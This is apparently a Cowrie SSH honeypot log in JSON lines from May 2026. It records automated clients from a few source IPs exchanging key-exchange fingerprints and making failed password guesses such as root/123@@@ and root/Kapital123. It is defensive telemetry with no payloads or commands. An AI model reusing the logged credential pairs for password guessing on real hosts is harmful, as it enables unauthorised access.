{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:52.509698Z","src_ip":"43.134.24.11","session":"15347bb2e29c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:53.485486Z","src_ip":"43.134.24.11","session":"15347bb2e29c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:54.735314Z","src_ip":"43.134.24.11","session":"15347bb2e29c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23321,"dst_ip":"10.17.0.5","dst_port":22,"session":"877f089f7301","protocol":"ssh","message":"New connection: 43.134.24.11:23321 (10.17.0.5:22) [session: 877f089f7301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:58.047315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:58.052250Z","src_ip":"43.134.24.11","session":"877f089f7301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:58.298183Z","src_ip":"43.134.24.11","session":"877f089f7301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:59.055031Z","src_ip":"43.134.24.11","session":"877f089f7301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:00.304095Z","src_ip":"43.134.24.11","session":"877f089f7301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12094,"dst_ip":"10.17.0.5","dst_port":22,"session":"70cabbbe21ee","protocol":"ssh","message":"New connection: 43.134.24.11:12094 (10.17.0.5:22) [session: 70cabbbe21ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:03.853580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:03.858675Z","src_ip":"43.134.24.11","session":"70cabbbe21ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:04.109126Z","src_ip":"43.134.24.11","session":"70cabbbe21ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:05.137861Z","src_ip":"43.134.24.11","session":"70cabbbe21ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:06.388212Z","src_ip":"43.134.24.11","session":"70cabbbe21ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":34010,"dst_ip":"10.17.0.5","dst_port":22,"session":"699afc1e4b78","protocol":"ssh","message":"New connection: 43.134.24.11:34010 (10.17.0.5:22) [session: 699afc1e4b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:09.556051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:09.560521Z","src_ip":"43.134.24.11","session":"699afc1e4b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:09.797971Z","src_ip":"43.134.24.11","session":"699afc1e4b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:10.510956Z","src_ip":"43.134.24.11","session":"699afc1e4b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:11.751350Z","src_ip":"43.134.24.11","session":"699afc1e4b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18009,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ebcbf024316","protocol":"ssh","message":"New connection: 43.134.24.11:18009 (10.17.0.5:22) [session: 1ebcbf024316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:15.356012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:15.361188Z","src_ip":"43.134.24.11","session":"1ebcbf024316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:15.603226Z","src_ip":"43.134.24.11","session":"1ebcbf024316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:16.327226Z","src_ip":"43.134.24.11","session":"1ebcbf024316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:17.567689Z","src_ip":"43.134.24.11","session":"1ebcbf024316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1494,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdbb8cc627b","protocol":"ssh","message":"New connection: 43.134.24.11:1494 (10.17.0.5:22) [session: 4fdbb8cc627b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:21.076264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:21.106704Z","src_ip":"43.134.24.11","session":"4fdbb8cc627b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:21.308399Z","src_ip":"43.134.24.11","session":"4fdbb8cc627b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:22.219424Z","src_ip":"43.134.24.11","session":"4fdbb8cc627b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:23.452571Z","src_ip":"43.134.24.11","session":"4fdbb8cc627b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":51966,"dst_ip":"159.203.135.109","dst_port":22,"session":"1437ba4886a9","protocol":"ssh","message":"New connection: 182.93.7.194:51966 (159.203.135.109:22) [session: 1437ba4886a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:23.551505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:23.555101Z","src_ip":"182.93.7.194","session":"1437ba4886a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:23.777460Z","src_ip":"182.93.7.194","session":"1437ba4886a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":45360,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bf8a2905059","protocol":"ssh","message":"New connection: 61.76.112.4:45360 (159.203.135.109:22) [session: 1bf8a2905059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:24.597773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:24.602391Z","src_ip":"61.76.112.4","session":"1bf8a2905059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kapital123","message":"login attempt [root/Kapital123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:24.688742Z","src_ip":"182.93.7.194","session":"1437ba4886a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:24.797524Z","src_ip":"61.76.112.4","session":"1bf8a2905059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3pass","message":"login attempt [root/ts3pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:25.610976Z","src_ip":"61.76.112.4","session":"1bf8a2905059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:25.911164Z","src_ip":"182.93.7.194","session":"1437ba4886a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:26.810515Z","src_ip":"61.76.112.4","session":"1bf8a2905059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1495,"dst_ip":"10.17.0.5","dst_port":22,"session":"31a3aa7385aa","protocol":"ssh","message":"New connection: 43.134.24.11:1495 (10.17.0.5:22) [session: 31a3aa7385aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:26.941063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:26.944595Z","src_ip":"43.134.24.11","session":"31a3aa7385aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:27.183125Z","src_ip":"43.134.24.11","session":"31a3aa7385aa","protocol":"ssh"}
